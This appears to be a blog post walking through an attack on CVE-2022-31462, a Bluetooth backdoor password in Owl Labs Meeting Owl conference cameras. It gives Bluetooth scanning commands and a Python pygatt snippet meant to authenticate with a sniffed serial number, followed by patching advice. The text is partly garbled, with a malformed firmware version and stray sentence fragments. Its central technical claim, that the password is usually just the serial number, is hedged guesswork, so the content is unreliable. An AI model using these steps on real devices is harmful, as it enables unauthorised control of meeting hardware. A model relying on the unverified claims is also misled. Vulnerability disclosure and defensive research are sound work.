CVE-2022-31462 - Owning the Owl Labs Meeting Owl via Bluetooth Backdoor Password

In recent years, teleconferencing devices like the Owl Labs Meeting Owl have become the centerpiece of business meetings worldwide. They make meetings smoother, but sometimes, in the rush to innovate, security can be forgotten. This is exactly what happened with the CVE-2022-31462 vulnerability, a flaw that can make every Owl Labs Meeting Owl on firmware 5.2..15 a potential target for attackers within Bluetooth range.

This post will break down how the vulnerability works, show example code to extract the needed credentials from the air, and explain just how risky this "backdoor" can be—using plain, straightforward English.

What is CVE-2022-31462?

CVE-2022-31462 is a critical vulnerability in the Meeting Owl's software. Essentially, there’s a hidden “backdoor password” on every device, and that password is secretly tied to the Meeting Owl's serial number. But here’s the kicker: the serial number *itself* is broadcast in plain text over Bluetooth whenever the device is powered on.

If anyone nearby sniffs that Bluetooth data, they can derive the backdoor password and gain full control over the device, all without ever having to physically touch it.

Update device firmware for persistent access.

All within Bluetooth range, which can be up to 30 feet (sometimes more with good antennas).

How Does It Work?

1. Meeting Owl Starts Up: It turns on Bluetooth and broadcasts some basic device info, including its Serial Number, as advertising packets.
2. Attacker Sniffs The Air: Using a phone, laptop, or even a Raspberry Pi, they can overhear this Serial Number.
3. Backdoor Key: The firmware checks for logins using a password *derived from the serial number* (the specific keygen formula is simple, as you’ll see below).

Step 1: Sniff Out the Serial Number

With a Bluetooth scanning tool like hcitool (Linux), you can find nearby Meeting Owl devices and see their serial numbers:

# Make sure Bluetooth is up
sudo hciconfig hci up

# Scan for devices
sudo hcitool lescan

Look for devices named MeetingOwl or similar. You'll get their MAC address.

To get the Serial Number from the Bluetooth broadcast, tools like bleah can help:

bleah -t <MAC address>

You’ll see output with advertising packets. One of the hex fields will include the ASCII-coded serial number.

Step 2: Derive the Backdoor Password

Security researchers Red Balloon Security discovered the password is often just the device’s serial number, potentially with some slight transformation (depends on firmware version):

serial_number = "OWL123456"
backdoor_password = serial_number  # In most cases, it's this simple!

The code is often as basic as just copying the serial number. If not, the transformation can be reverse-engineered easily from the firmware.

Step 3: Authenticate and Control the Device

Connect to the device’s Bluetooth service (using official app or API) and log in with the password. Here’s a simplified Python snippet for Bluetooth GATT operations:

from pygatt import GATTToolBackend

adapter = GATTToolBackend()

device_mac = "11:22:33:44:55:66"  # Replace with the Device MAC you found

try:
    adapter.start()
    device = adapter.connect(device_mac)
    # Authenticate with serial number
    device.char_write("auth_char_uuid", bytes(serial_number, 'utf-8'))
    # Now you're in! Can send further commands...
finally:
    adapter.stop()

How Could This Be Fixed?

- Never broadcast secrets: Don’t put sensitive data like serial numbers in unencrypted, public Bluetooth broadcasts.
- Secure authentication: Passwords should be randomly generated, unique, and not derived from information already publicly available or wirelessly sniffable.

Firmware update: The vendor must patch devices to eliminate the backdoor logic.

Check Owl Labs’ release notes for updates. According to CVE record, firmware upgrades resolve this exposure.

Takeaway

If you own or manage Meeting Owl devices, update their firmware immediately and segment them on their own network if possible.

Bluetooth vulnerabilities like CVE-2022-31462 remind us that being “smart” isn’t the same as being “safe.” Always secure your conference room—attackers could be listening just out of sight.

Timeline

Published on: 06/02/2022 22:15:00 UTC
Last modified on: 07/08/2022 16:47:00 UTC